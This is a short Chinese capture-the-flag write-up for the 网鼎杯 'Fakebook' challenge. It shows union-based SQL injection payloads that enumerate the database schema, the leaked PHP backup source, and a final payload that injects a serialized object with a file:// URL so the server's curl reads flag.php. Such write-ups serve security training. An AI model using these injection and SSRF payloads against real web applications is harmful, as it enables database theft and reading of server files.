网鼎杯Fakebook（SSRF）

进入页面注册用户登录用户

在view.php中发下存在注入点。

查询字段数，表名，字段名等等。

 查询数据库

no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+

查询表名

/view.php?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'--

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 查字段

/view.php?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+

这里存在data的序列化文件

O:8:"UserInfo":3:{s:4:"name";s:7:"zyg1999";s:3:"age";i:15;s:4:"blog";s:11:"www.123.top";}

我们需要在这里去查询flag的位置

查看robots.txt 发现备份文件/user.php.bak，下载下来

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里的考点是序列化结合ssrf

payload：?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

拿去解码得到flag